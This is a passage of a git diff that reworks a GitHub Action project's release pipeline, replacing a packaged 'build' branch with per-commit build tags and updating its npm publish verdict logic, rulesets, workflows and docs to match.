-1345,67 +942,52 @@ interface Descendant { sha: string; } -/** The published pre-releases placed against this run's source: the descendants, and a notice for each one the - * checkout cannot place (a sha it lacks, or one off the source's line of main). */ -function placePublished( +/** The published pre-releases placed against this run's source by ancestry: the descendants, the one furthest along + * main, and a notice for each the checkout cannot place (a sha it lacks, or one off the source's line of main). */ +function descendantsOf( cwd: string, sourceSha: string, packument: Packument, -): { descendants: Descendant[]; notices: string[] } { +): { descendants: Descendant[]; newest: Descendant | null; notices: string[] } { const descendants: Descendant[] = []; const notices: string[] = []; - for (const published of Object.keys(packument.versions)) { - const sha7 = mintedVersion(published)?.sha7; + let newest: Descendant | null = null; + const descends = (ancestor: string, sha: string): boolean => + gitOrNo(cwd, "merge-base", "--is-ancestor", ancestor, sha) !== null; + for (const version of Object.keys(packument.versions)) { + const sha7 = mintedVersion(version)?.sha7; if (sha7 === null || sha7 === undefined) { continue; } - const placement = placeAgainst(cwd, sourceSha, sha7); - switch (placement.kind) { - case "descendant": - descendants.push({ version: published, sha: placement.sha }); - break; - case "unresolved": - notices.push(`${published} names ${sha7}, which is no commit in this checkout; ignored`); - break; - case "unrelated": - notices.push( - `${published} names ${sha7}, which is neither an ancestor nor a descendant of ${sourceSha.slice(0, 7)} on main; ignored`, - ); - break; - default: - break; - } - } - return { descendants, notices }; -} - -/** The descendant furthest along main: the one no other descendant follows. Every sha here resolved, so the - * ancestry probe alone is asked. */ -function furthest(cwd: string, descendants: Descendant[]): Descendant | null { - let newest: Descendant | null = null; - for (const candidate of descendants) { - if ( - newest === null || - gitYesNo(cwd, "merge-base", "--is-ancestor", newest.sha, candidate.sha) - ) { - newest = candidate; + const sha = resolveCommit(cwd, sha7); + if (sha === null) { + notices.push(`${version} names ${sha7}, which is no commit in this checkout; ignored`); + } else if (sha !== sourceSha && descends(sourceSha, sha)) { + descendants.push({ version, sha }); + if (newest === null || descends(newest.sha, sha)) { + newest = { version, sha }; + } + } else if (sha !== sourceSha && !descends(sha, sourceSha)) { + notices.push( + `${version} names ${sha7}, which is neither an ancestor nor a descendant of ${sourceSha.slice(0, 7)} on main; ignored`, + ); } } - return newest; + return { descendants, newest, notices }; } /** * Every published pre-release is placed by its source's ancestry, so a run for an older commit publishes nothing * once a newer commit's pre-release is on the registry, whatever order the two runs finished in (`npm publish --tag * next` moves next to whatever it publishes). The dist-tags need no separate read: whatever next names is among - * the versions. Null is a package the registry has never seen: the bootstrap publishes. + * the versions. Null is a package the registry has never seen: the first publish goes. */ export function nextPublishVerdict( cwd: string, sourceSha: string, version: string, packument: Packument | null, -): PublishVerdict { +): NextVerdict { if (packument === null) { return { publish: true, version, notices: [] }; } @@ -1417,8 +999,7 @@ export function nextPublishVerdict( notices: [], }; } - const { descendants, notices } = placePublished(cwd, sourceSha, packument); - const newer = furthest(cwd, descendants); + const { newest: newer, notices } = descendantsOf(cwd, sourceSha, packument); if (newer !== null) { return { publish: false, @@ -1438,33 +1019,28 @@ export function nextPublishVerdict( */ export function stablePublishVerdict(version: string, packument: Packument | null): PublishVerdict { if (packument === null) { - return { publish: true, version, notices: [] }; + return { publish: true, version }; } if (version in packument.versions) { return { publish: false, version, reason: `${version} is already on the registry`, - notices: [], }; } const latest = packument["dist-tags"].latest; - // The hand bootstrap leaves a pre-release on latest: a packument always carries that key (npm/registry - // REGISTRY-API.md, "dist-tags: an object with at least one key, latest"), so a first publish gets it whatever + // Until the first release, latest names a pre-release: a packument always carries that key (npm/registry + // REGISTRY-API.md, "dist-tags: an object with at least one key, latest"), so the first publish took it whatever // --tag asked for. A release must take latest over from it, so only a newer RELEASE holds one back. - if ( - latest !== undefined && - parseMinted(latest).sha7 === null && - releaseOrder(version, latest) === "older" - ) { + const held = latest === undefined ? null : parseMinted(latest); + if (held?.sha7 === null && newerRelease(held.release, parseMinted(version).release)) { return { publish: false, version, reason: `the registry's latest is ${latest}, newer than ${version}, so this rerun of an older release publishes nothing (npm publish would move latest back)`, - notices: [], }; } - return { publish: true, version, notices: [] }; + return { publish: true, version }; } /** The registry's record of `name`, or null while it has never been published; any other answer than 200 or 404 throws. @@ -1532,10 +1108,9 @@ export type NpmVerdictOptions = { registry: string; } & ({ channel: "next" } | { channel: "stable"; tag: string }); -/** The publish decision for the checkout, against what the registry holds. - * The version is settled before the registry is asked, so a checkout that - * cannot name one stops without a request. */ -export async function npmVerdict(options: NpmVerdictOptions): Promise { +export async function npmVerdict( + options: NpmVerdictOptions, +): Promise { const { cwd, sourceSha, registry } = options; let version: string; if (options.channel === "next") { @@ -1570,17 +1145,12 @@ export interface NpmConfirmOptions { } /** - * After `npm publish --tag next`: the record is read until it shows the - * version, so the job holds the npm-publish lane until the next holder's - * verdict can see this publish (npm makes a publish readable asynchronously; - * a verdict read in that gap would move next back). Once it shows, next is - * checked: a pre-release of a descendant on the record means this run was - * stale, and next must name one such or it moved back. A drift is reported, - * not repaired: trusted publishing (OIDC) authenticates `npm publish` alone, - * not `npm dist-tag add` (npm/cli#8547); the next green push's source - * descends from every published one, so its publish moves next forward. A - * rerun of the run that reported it publishes nothing (its version is on the - * registry), so it never reaches this step and passes: a blocked release can go on. + * After `npm publish --tag next`: the record is read until it shows the version, so the job holds the npm-publish + * lane until the next holder's verdict can see this publish (npm makes a publish readable asynchronously; a verdict + * read in that gap would move next back). Once it shows, and a descendant's pre-release is on the record, next + * must name a descendant's, or this stale run moved it back. A drift is reported, not repaired: trusted publishing (OIDC) + * authenticates `npm publish` alone, not `npm dist-tag add` (npm/cli#8547); the next green push's publish moves + * next forward, and a rerun of the reporting run publishes nothing and passes, so a blocked release can go on. */ export async function npmConfirm(options: NpmConfirmOptions): Promise { const { cwd, sourceSha, registry, attempts, delayMs } = options; @@ -1603,8 +1173,7 @@ export async function npmConfirm(options: NpmConfirmOptions): Promise descendant.version === next)) { return { @@ -1622,7 +1191,7 @@ export async function npmConfirm(options: NpmConfirmOptions): Promise { @@ -1653,22 +1222,13 @@ async function main(): Promise { runUrl: process.env.RUN_URL, }); console.error( - result.created - ? `created ${env("TAG")} on chain commit ${result.packagedSha}; latest at ${result.latestSha}` - : `${env("TAG")} already packages this source at ${result.packagedSha}`, + `${result.created ? "created" : "verified"} ${env("TAG")} on packaged commit ${result.packagedSha}; ${result.pruned.length === 0 ? "no build tag beyond the window" : `pruned ${result.pruned.join(", ")}`}; ${result.latest.reason}`, ); break; } case "retag-major": { const result = retagMajor({ cwd, tag: env("TAG"), sourceSha: env("GITHUB_SHA") }); - console.error(`moved ${result.major} to ${result.packagedSha}`); - break; - } - case "verify": { - const result = verifyPublishedRefs({ cwd, tag: env("TAG"), sourceSha: env("GITHUB_SHA") }); - console.error( - `origin's ${env("TAG")} and ${result.major} both point at packaged commit ${result.packagedSha}, whose tree carries ${PACKAGED}`, - ); + console.error(result.move.reason); break; } case "anchor": { @@ -1686,16 +1246,17 @@ async function main(): Promise { console.error(`the release PR carries this cycle's anchor: ${result.boundary}`); break; } - case "advance-build": { - const result = advanceBuild({ + case "package-commit": { + const result = packageCommit({ cwd, sourceSha: env("GITHUB_SHA"), runUrl: process.env.RUN_URL, }); - console.error(result.reason); + console.error( + `${result.ref}${result.created ? ": created at" : " already packages the commit at"} ${result.commit}; ${result.pruned.length === 0 ? "no build tag beyond the window" : `pruned ${result.pruned.join(", ")}`}; ${result.latest.reason}`, + ); break; } - // The subcommands whose result is their stdout: the workflow captures it. Notices go to stderr, beside it. case "prerelease-version": { console.log(prereleaseVersionOf({ cwd, sourceSha: env("GITHUB_SHA") })); break; @@ -1712,7 +1273,7 @@ async function main(): Promise { registry: process.env.NPM_REGISTRY_URL || DEFAULT_REGISTRY, ...(argument === "next" ? { channel: argument } : { channel: argument, tag: env("TAG") }), }); - for (const notice of verdict.notices) { + for (const notice of "notices" in verdict ? verdict.notices : []) { console.error(notice); } console.log(verdict.publish ? `publish ${verdict.version}` : `skip ${verdict.reason}`); @@ -1740,7 +1301,7 @@ async function main(): Promise { } default: throw new Error( - `unknown command ${JSON.stringify(command ?? null)}; expected package | retag-major | verify | anchor | boundary-check | anchor-check | advance-build | prerelease-version | npm-verdict | npm-confirm`, + `unknown command ${JSON.stringify(command ?? null)}; expected package | retag-major | anchor | boundary-check | anchor-check | package-commit | prerelease-version | npm-verdict | npm-confirm`, ); } } diff --git a/.github/settings.local.yml b/.github/settings.local.yml index cc27b0fd..d61ba132 100644 --- a/.github/settings.local.yml +++ b/.github/settings.local.yml @@ -35,16 +35,15 @@ labels: rulesets: # NARROWS the release-please module's release-tags ruleset: the fleet # declares it over `v*`, which would also freeze the moving major tag - # (v2) that update-release.yml force-moves with the Actions token on - # every release. A same-name ruleset merges key by key and an array - # replaces wholesale, so this entry swaps only the include list and - # inherits everything else (rules, enforcement, bypass) from the fleet. - # The vX.Y.Z tags stay immutable: each points at a commit carrying the - # built bundle that template-sync workflow pins and release artifacts - # reference - on the `build` branch (the release commit's tree without its - # workflows, plus the bundle) from now on; the tags cut before that branch - # existed point at main commits from when main still committed the bundle. - # The `latest` tag matches neither pattern; its own ruleset is below. + # (v2) that update-release.yml moves with the Actions token on every + # release. A same-name ruleset merges key by key and an array replaces + # wholesale, so this entry swaps only the include list and inherits + # everything else (rules, enforcement, bypass) from the fleet. The + # vX.Y.Z tags stay immutable: each points at a packaged commit, the + # release's merge commit's child carrying the built bundle and library + # (the tags cut before the pipeline packaged commits point at main + # commits from when main still committed the bundle). The `latest` and + # `build/*` tags match neither pattern; their rulesets are below. - name: release-tags conditions: ref_name: @@ -52,10 +51,10 @@ rulesets: - v*.*.* # The moving major tags (v1, v2) move on purpose - every release in the - # line force-pushes them to its packaged commit - so no update rule, but - # they must never vanish: a deleted major bricks every @v2 consumer at - # once. fnmatch's * crosses dots, so v* also covers the vX.Y.Z tags; - # that overlap is a harmless union with release-tags above. + # line moves them to its packaged commit, forward only, under a lease - + # so no update rule, but they must never vanish: a deleted major bricks + # every @v2 consumer at once. fnmatch's * crosses dots, so v* also covers + # the vX.Y.Z tags; that overlap is a harmless union with release-tags above. - name: major-release-tags target: tag enforcement: active @@ -72,12 +71,11 @@ rulesets: bypass_mode: always # The moving `latest` tag: post-green.yml and the release hook point it at - # the `build` commit of the newest main source with a lease, so no update - # or non_fast_forward rule (either would refuse that move; the lease and - # the script's own checks keep it from going backward). Deletion is the one - # thing it must never suffer: a deleted latest bricks every @latest - # consumer at once. No bypass, like the build ruleset, so the apply heals - # an out-of-band bypass actor. + # the packaged commit of the newest main commit, forward only, under a + # lease, so no update or non_fast_forward rule (either would refuse that + # move). Deletion is the one thing it must never suffer: a deleted latest + # bricks every @latest consumer at once. No bypass, like the build-tags + # ruleset, so the apply heals an out-of-band bypass actor. - name: latest-tag target: tag enforcement: active @@ -90,18 +88,38 @@ rulesets: - type: deletion bypass_actors: [] - # The `build` branch of packaged commits: post-green.yml appends a green - # main commit's packaged commit with a plain push when its token can (the - # release hook appends the release's when post-green did not), so build may - # only ever move forward - no force-push can rewrite the chain that - # `@build` consumers pin by sha and that the release hook walks to find - # a release's commit, and no deletion can remove it from under them. + # The packaged commits, one per green main commit: post-green.yml mints + # `build/.` once (its child, plus the built bundle and + # library) and prunes every tag beyond the ten newest, so a tag never + # moves in place (update, non_fast_forward) but may be deleted by the + # prune. Release tags and latest keep their own commits reachable; a + # build tag goes once ten newer commits are packaged, so a durable + # consumer pins a release. # Declared with NO bypass, like the fleet's non-bypassable ruleset: an # omitted key is invisible to drift detection, so the empty list is what # lets the apply heal an out-of-band bypass actor. + - name: build-tags + target: tag + enforcement: active + conditions: + ref_name: + include: + - build/* + exclude: [] + rules: + - type: update + - type: non_fast_forward + bypass_actors: [] + + # The `build` branch of the retired chain: its rules are declared DISABLED + # rather than dropped, because the apply leaves an undeclared ruleset + # alone and the live deletion rule would refuse the owner's + # `git push origin --delete build`. The owner deletes the branch once + # every consumer has repinned (the build-branch break in docs/upgrading/v2-to-v3.md), + # then removes this entry together with the ruleset it disables. - name: build target: branch - enforcement: active + enforcement: disabled conditions: ref_name: include: diff --git a/.github/workflows/post-green.yml b/.github/workflows/post-green.yml index ce4c7b60..1de6b57a 100644 --- a/.github/workflows/post-green.yml +++ b/.github/workflows/post-green.yml @@ -13,9 +13,10 @@ on: type: string jobs: - # No permissions key: the job inherits the caller's grant, which is enough because chain commits carry no .github/workflows/. - # GITHUB_TOKEN at contents: write, or a PAT -> pushes build and latest - # a read ceiling and no PAT -> warns and skips; the release hook publishes the release's chain commit and latest itself + # No permissions key: the job inherits the caller's grant, which is enough because a packaged commit changes no + # workflow file against its parent (the main commit), the diff GitHub judges a token's workflows grant on. + # GITHUB_TOKEN at contents: write, or a PAT -> pushes the build tag and latest + # a read ceiling and no PAT -> warns and skips; the release hook packages each release and moves latest itself build: runs-on: ubuntu-latest timeout-minutes: 10 @@ -23,19 +24,19 @@ jobs: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: ref: ${{ inputs.sha }} - # The script judges whether build's recorded sources lie on this commit's history; a shallow checkout cannot. + # The script names the tag by this commit's position on main and judges latest's source against its history; a shallow checkout can do neither. fetch-depth: 0 token: ${{ secrets.REPO_PLATFORM_TOKEN || github.token }} # A dry-run push asks origin for its receive-pack advertisement over the channel the real push uses, which a - # token without write access is refused; nothing is created. The target is a ref that never exists: HEAD is no - # descendant of build's tip, so a dry run against build itself would be rejected locally whatever the token. + # token without write access is refused; nothing is created. The target is a ref that never exists, so the dry + # run judges the token alone: against an existing tag git would refuse the non-fast-forward locally whatever the token. # # git's refusal is remote-supplied text, so it is printed inside a stop-commands fence keyed by a per-run token # and never inside a workflow command. # the runner acts on any line whose first non-blank text is "::" -> the fence disarms every such line # only the fence's own token resumes command processing -> the text can neither forge a command nor swallow the error after it # awk, not sed -> ends the last line even when git did not, so the fence stays alone - - name: Check the token can push to build + - name: Check the token can push id: token env: PAT_SET: ${{ secrets.REPO_PLATFORM_TOKEN != '' }} @@ -53,7 +54,7 @@ jobs: exit 1 else echo "::warning::this run's token cannot push (the caller grants contents: read);" \ - "the build branch and the latest tag were not advanced here (the release hook advances them on each release)." \ + "this commit was not packaged and the latest tag was not moved here (the release hook packages each release and moves latest itself)." \ "Raise the caller's ceiling to contents: write, or add a REPO_PLATFORM_TOKEN PAT secret" \ "with Contents (read and write) on this repository, to publish every green push to @latest." echo "proceed=false" >> "$GITHUB_OUTPUT" @@ -66,12 +67,12 @@ jobs: run: | bun run build:bundle bun run build:lib - - name: Append this commit's packaged commit to build and point latest at the newest main source + - name: Package this commit under its build tag, prune the window, and point latest at the newest main source if: steps.token.outputs.proceed == 'true' env: SOURCE_SHA: ${{ inputs.sha }} RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} - run: GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts advance-build + run: GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts package-commit # No permissions key, like build: a job asking above the caller's ceiling fails the whole call, so the OIDC # grant arrives by inheritance from the id-token: write the managed ci.yml gives the post-green call. @@ -167,7 +168,7 @@ jobs: exit 1 ;; esac # npm makes a publish readable asynchronously. This step holds the lane - # until the record shows the version (5 reads, 20 s apart), so the next + # until the record shows the version (15 reads, 20 s apart), so the next # holder's verdict sees it; a record that never shows it warns. It then # fails the job if the record holds a descendant's pre-release and next # names none: OIDC authenticates npm publish alone, not npm dist-tag add, diff --git a/.github/workflows/update-release.yml b/.github/workflows/update-release.yml index afac819e..fd7e59c2 100644 --- a/.github/workflows/update-release.yml +++ b/.github/workflows/update-release.yml @@ -1,26 +1,27 @@ # The update stage of the release pipeline: repo-owned, called by the managed ci.yml between release-please # cutting the DRAFT release and the attested publish. This hook, not release-please, mints the tag: main is -# source-only, so every consumable ref must point at a packaged commit on the `build` branch (the topology is in -# .github/scripts/release-pipeline.ts; release-please-config.json sets `draft` and pins `force-tag-creation` off). +# source-only, so every consumable ref must point at a packaged commit, the merge commit's child carrying its build +# (the topology is in .github/scripts/release-pipeline.ts; release-please-config.json sets `draft` and pins +# `force-tag-creation` off). # # resolve the merge commit from the draft's target commitish -> rebuild the bundle, verify the committed schema byte-for-byte -# package -> find or append the build commit whose source is the merge commit, mint vX.Y.Z there ONCE, reconcile latest -# retag-major -> force-move vX there, then upload bundle and schema to the draft (a published release freezes its assets) -# verify -> confirm origin's refs and the draft's assets; the managed publish stage then attests and flips the release live -# publish-npm -> publish the library build to npm as the stable version through trusted publishing, once the refs check out +# package -> find or mint the merge commit's packaged commit under its build tag, mint vX.Y.Z there ONCE, move latest forward +# retag-major -> move vX there (forward only), then upload bundle and schema to the draft (a published release freezes its assets) +# verify-release -> confirm the draft's assets; the managed publish stage then attests and flips the release live +# publish-npm -> publish the library build to npm as the stable version through trusted publishing, once the assets check out # # Only ci.yml reaches this workflow, with the tag release-please just cut from its own merged PR, so a hand-edited -# manifest never mints a tag. A rerun converges while this release is its line's newest (a version npm already holds -# is skipped); once a NEWER release shipped, the major move stops by design. +# manifest never mints a tag. A rerun converges: a version npm already holds is skipped, and once a NEWER release +# shipped, the major stays on it. -# Finishing a dead run by hand (prefer re-running its FAILED jobs: a hand run has no attestation.json, a chain commit -# it appends carries no run trailer, and the npm publish has no hand path at all, only the workflow's OIDC identity may -# publish). NEVER publish before `package` has minted the tag: a tagless draft makes GitHub create vX.Y.Z lazily on main. +# Finishing a dead run by hand (prefer re-running its FAILED jobs: a hand run has no attestation.json, a packaged +# commit it mints carries no run trailer, and the npm publish has no hand path at all, only the workflow's OIDC +# identity may publish). NEVER publish before `package` has minted the tag: a tagless draft makes GitHub create +# vX.Y.Z lazily on main. # git checkout (the draft's target commitish) # bun install --frozen-lockfile --ignore-scripts && bun run build # TAG=vX.Y.Z GITHUB_SHA= bun .github/scripts/release-pipeline.ts package # TAG=vX.Y.Z GITHUB_SHA= bun .github/scripts/release-pipeline.ts retag-major -# TAG=vX.Y.Z GITHUB_SHA= bun .github/scripts/release-pipeline.ts verify # gh release upload vX.Y.Z lib/settings.schema.json lib/index.js --clobber # gh release edit vX.Y.Z --draft=false @@ -39,8 +40,8 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 15 permissions: - # Tag pushes, and the append to build when post-green did not run it: chain commits carry no - # .github/workflows/, so the default token needs no workflows grant. Also what makes the draft visible to gh. + # Tag pushes, and the packaged commit when post-green did not mint it: a packaged commit changes no workflow + # file against its parent, so the default token needs no workflows grant. Also what makes the draft visible to gh. contents: write outputs: source-sha: ${{ steps.source.outputs.sha }} @@ -63,7 +64,7 @@ jobs: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: ref: ${{ steps.source.outputs.sha }} - # The script judges whether the build tip's source lies on main; a shallow checkout cannot answer that. + # The script names the build tag by the merge commit's position on main and judges latest's source against its history; a shallow checkout can do neither. fetch-depth: 0 - uses: ./.github/actions/setup - name: Build the bundle and the schema @@ -98,28 +99,15 @@ jobs: permissions: contents: write # read-only in spirit; write is what makes drafts visible to gh steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - - uses: ./.github/actions/setup - with: - install: "false" - - name: Confirm the published refs carry the build outputs - env: - TAG: ${{ inputs.tag }} - SOURCE_SHA: ${{ needs.package-release.outputs.source-sha }} - run: GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts verify # Publishing freezes the asset list, so an incomplete one must stop here while the release is still a draft - # (v2.0.0 shipped assetless exactly this way). - # attestation.json -> the managed publish stage's asset, attached after this job; ignored by the check - # attestation.jsonl -> stale provenance under the old name, which that stage no longer cleans up; deleted first - # COMPAT(v3): a draft still carrying attestation.jsonl under the old asset name passes; delete the delete-asset branch. + # (v2.0.0 shipped assetless exactly this way). attestation.json is the managed publish stage's asset, attached + # after this job, so the check ignores it. - name: Confirm the release carries both packaged assets env: GH_TOKEN: ${{ github.token }} + GH_REPO: ${{ github.repository }} TAG: ${{ inputs.tag }} run: | - if gh release view "$TAG" --json assets --jq '.assets[].name' | grep -qx 'attestation.jsonl'; then - gh release delete-asset "$TAG" attestation.jsonl --yes - fi assets="$(gh release view "$TAG" --json assets \ --jq '[.assets[].name | select(. != "attestation.json")] | sort | join(" ")')" expected="index.js settings.schema.json" @@ -129,8 +117,8 @@ jobs: fi # Publishes the release's library build to npm as the stable version through trusted publishing: no registry - # token, provenance attached by npm. Behind verify-release, so nothing reaches the registry before origin's refs - # check out. Until the owner's one-time npm setup exists this job fails and holds the draft; a rerun converges. + # token, provenance attached by npm. Behind verify-release, so nothing reaches the registry before the draft's + # assets check out. Until the owner's one-time npm setup exists this job fails and holds the draft; a rerun converges. # package-release sits in needs for its output alone (a job reads outputs only from its direct dependencies). # The lane is the one post-green.yml's publish-next takes: the registry has no compare-and-set, so the two # publishers never overlap and a verdict still holds when its publish lands; queue: max keeps every queued diff --git a/AGENTS.md b/AGENTS.md index 37dd02dd..ffacc880 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -36,7 +36,7 @@ Code is the source of truth: this section holds only the rules and the decisions ### Hard rules - Generated artifacts (`lib/settings.schema.json`, `src/upstream-gaps/index.ts`, the generated docs and `action.yml` regions) are regenerated, never hand-edited; `.github/scripts/generated.ts` lists them and `bun run build:check` fails on drift. -- `lib/index.js` (the action bundle) and `lib/pkg/` (the npm library) are built, never committed on main; the packaged `build` branch carries them. +- `lib/index.js` (the action bundle) and `lib/pkg/` (the npm library) are built, never committed on main; the packaged commits off main carry them. - Every GitHub list call goes through `listAll()` or `listAllEnveloped()`, and every API error through `call()`/`throwFor()`, so the permission policy holds (`src/sections/contract/requests.ts`). - The import layering of `src/` is declared in `architecture.yml`; a new cross-layer import is a deliberate edit to that file. - A type a section module exposes is exported from its home module, or the bundled declarations cannot reach it and the package-smoke job fails. @@ -52,5 +52,5 @@ Code is the source of truth: this section holds only the rules and the decisions ### Releases - The `release` job in ci.yml stays out of all-green's `needs`: it runs downstream of the gate so releases only happen on a green main. -- Version tags live off main on the packaged `build` chain; main stays source-only and no tag ever lands on it. Topology: `.github/scripts/release-pipeline.ts`. +- Every consumable ref points at a packaged commit off main, and a pointer only ever moves forward along main; main stays source-only and no tag ever lands on it. Topology and the rule: `.github/scripts/release-pipeline.ts`. - The npm package publishes from the release hooks through trusted publishing; docs/reference/library.md states the versioning rules. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b53b0699..40e8f46d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -49,5 +49,5 @@ bun test/e2e/fuzz.ts --seed --iterations 1 # replay one failing - Releases run downstream of the `all-green` gate: ci.yml calls the fleet's release workflow, so a release or a release-PR refresh only happens from a green `main`. - release-please does the version math, the changelog, the version pins, and the release PR; merging that PR cuts the release. -- Every ref a `uses:` pin can name (`vX.Y.Z`, the moving major, `latest`) points at a packaged commit on the `build` branch: the source tree without its workflows, plus the built bundle, its source named in a Source trailer. The tags up to v2.0.0 point at `main` commits from when `main` committed the bundle. +- Every ref a `uses:` pin can name (`vX.Y.Z`, the moving major, `latest`) points at a packaged commit: the child of one `main` commit, carrying its tree plus the built bundle and library; every green push mints one under a `build/.` tag, the ten newest kept. The tags up to v2.0.0 point at `main` commits from when `main` committed the bundle. - The repo-owned hooks `update-release.yml` and `update-release-pr.yml` mint the tags and keep release-please's boundary (`last-release-sha`) fresh. The git topology lives in `.github/scripts/release-pipeline.ts` and its test. diff --git a/README.md b/README.md index 78839e55..4905710b 100644 --- a/README.md +++ b/README.md @@ -56,7 +56,7 @@ Apply declarative repository settings from `.github/settings.yml`: a loud, state | `@vX.Y.Z` or a commit SHA | One release, frozen by a ruleset | Byte-stable behavior | | `@latest` | The newest green `main` commit, packaged; breaking changes arrive here unannounced, ahead of any release | Trying unreleased fixes | -- Every pin points at a packaged commit on the `build` branch: its source commit's tree without `.github/workflows/`, plus the built action. `main` is source-only and not runnable as an action. The tags up to v2.0.0 point at release commits on `main` from when `main` still committed the bundle. +- Every pin points at a packaged commit: the child of one `main` commit, carrying its tree plus the built action. `main` is source-only and not runnable as an action. The tags up to v2.0.0 point at release commits on `main` from when `main` still committed the bundle. - v2 activates settings keys that were inert on v1: `actions.oidc_customization_sub`, `actions.fork_pr_contributor_approval`, `actions.fork_pr_workflows_private_repos`, and `branches[].protection.required_signatures`. Audit them before moving a `@v1` pin; a stale `required_signatures: false` would remove a hand-enabled requirement. - Only the latest release is supported; fixes are not backported (see [SECURITY.md](.github/SECURITY.md)). Each major has an [upgrade guide](docs/upgrading/README.md). diff --git a/docs/reference/library.md b/docs/reference/library.md index 79dc8548..1ba973be 100644 --- a/docs/reference/library.md +++ b/docs/reference/library.md @@ -13,10 +13,18 @@ Three ways in, one package: ```bash npm install @vivswan/github-settings-as-code # the released version (npm dist-tag latest) npm install @vivswan/github-settings-as-code@next # the newest green main commit, a pre-release -npm install github:Vivswan/github-settings-as-code# # one packaged commit of the build branch +npm install github:Vivswan/github-settings-as-code# # one packaged commit: a build tag's or a release tag's ``` -`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.446.20260913.g95d081d`; the [Versioning](#versioning) section says how the three relate. The `github:` form works for every commit packaged since the library joined the packaged branch: such a commit carries `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from its source commit by the workflow run named in its message, and its `package.json` carries none of the scripts npm's git fetcher takes as a reason to install devDependencies and run a prepare step (`prepare`, `prepack`, `build`, the install hooks), so nothing is built or installed on your side. Packaged commits minted before that carry the action bundle alone, and the tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle, not at packaged commits at all. To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/`, the files the manifest's `exports` point at. +`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.446.20260913.g95d081d`; the [Versioning](#versioning) section says how the three relate. + +The `github:` form installs a packaged commit: the child of one `main` commit, carrying that commit's tree plus `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from that commit; a package CI minted names its workflow run in its message, one minted by hand in the release recovery does not. + +- Its `package.json` carries none of the scripts npm's git fetcher takes as a reason to install devDependencies and run a prepare step (`prepare`, `prepack`, `build`, the install hooks), so nothing is built or installed on your side. +- Every green push to `main` mints one under the tag `build/.` and then prunes the tags to the ten newest: once ten newer commits have been packaged, a tag is deleted and GitHub may collect its commit, so a pin taken from an old tag can go on the next merge. A durable pin names a release tag's commit (`git rev-parse v2.1.0`) or an npm version. +- The tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle, not at packaged commits; the retired `build` branch holds the packaged commits minted before the per-commit tags until the owner deletes it. + +To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/`: the entry and the internal entry with their declarations, and the CLI, the files the manifest's `exports` and `bin` point at. ## The two entries @@ -356,10 +364,10 @@ The package and the action share one version, the one in `.release-please-manife | npm dist-tag | Publishes on | Version | Install | |---|---|---|---| | `next` | Every green push to `main` | The manifest's next patch, then `-main...g`: `2.0.1-main.446.20260913.g95d081d` | `npm install @vivswan/github-settings-as-code@next` | -| `latest` | Every release cut | The released version: `2.1.0`. Until the first release it names the bootstrap pre-release: a packument always carries `latest` (npm/registry REGISTRY-API.md, "dist-tags: an object with at least one key, latest"), so a first publish gets it whatever `--tag` asked for | `npm install @vivswan/github-settings-as-code` | -| none | Every packaged commit on the `build` branch since the library joined it | The commit itself | `npm install github:Vivswan/github-settings-as-code#` | +| `latest` | Every release cut | The released version: `2.1.0`. Until the first release it names a `next` pre-release: a packument always carries `latest` (npm/registry REGISTRY-API.md, "dist-tags: an object with at least one key, latest"), so the first publish took it whatever `--tag` asked for, and the first stable release moves it | `npm install @vivswan/github-settings-as-code` | +| none | Every green push to `main` (`build/.`, the ten newest kept) and every release tag | The commit itself | `npm install github:Vivswan/github-settings-as-code#` | -The npm dist-tag `latest` is not the git tag `latest`: the git tag names the newest packaged commit on the `build` branch (every green push moves it), the dist-tag names the newest release on the registry. +The npm dist-tag `latest` is not the git tag `latest`: the git tag names the packaged commit of the newest `main` commit (every green push moves it forward, never back), the dist-tag names the newest release on the registry. - A pre-release version is a pure function of its main commit. `2.0.1-main.446.20260913.g95d081d` reads: - `446`: the commits reachable from it along first parents (`git rev-list --count --first-parent `), one more per merge to main. @@ -374,7 +382,7 @@ The npm dist-tag `latest` is not the git tag `latest`: the git tag names the new - a sha the checkout cannot resolve, or one that is neither ancestor nor descendant (off main): ignored, with a notice in the log; - the run's own version already on the registry (a rerun of that commit): publishes nothing. - `latest` publishes nothing when the version is already there or when the dist-tag `latest` names a newer release (a rerun of an older release's job); it does not look at `next`. -- Every registry read misses the CDN cache (a cached packument lags a publish by up to 300 s), and a `next` publish job holds the npm-publish lane until the registry's record shows its version (up to 5 reads, 20 s apart). +- Every registry read misses the CDN cache (a cached packument lags a publish by up to 300 s), and a `next` publish job holds the npm-publish lane until the registry's record shows its version (up to 15 reads, 20 s apart: three of the first five publishes were still unreadable after 80 s, so the hold covers that lag with margin). - So the run after it judges against a record that carries it. Neither dist-tag moves backward on what its run could see. - The residual window: a publish the registry has not made readable within that bound is invisible to the run after it, which then moves `next` back to its older version. - That run fails with an error naming the drift once the record shows both versions; it warns if its own never shows within the bound. @@ -383,27 +391,8 @@ The npm dist-tag `latest` is not the git tag `latest`: the git tag names the new - No run moves a dist-tag by hand: trusted publishing authenticates `npm publish` alone, not `npm dist-tag add`. - Both channels publish through npm trusted publishing (OIDC) from this repository's CI workflow: no registry token exists anywhere. - npm attaches a provenance attestation to every version CI publishes, which `npm audit signatures` checks in a project that installs it. - - The one hand-published version is the bootstrap pre-release below, recognizable by its count of 0 (`-main.0.g`), which CI never mints. - The `github:` form installs a packaged commit's `lib/pkg/`, built from its source commit by the same workflow run that built its `lib/index.js`, 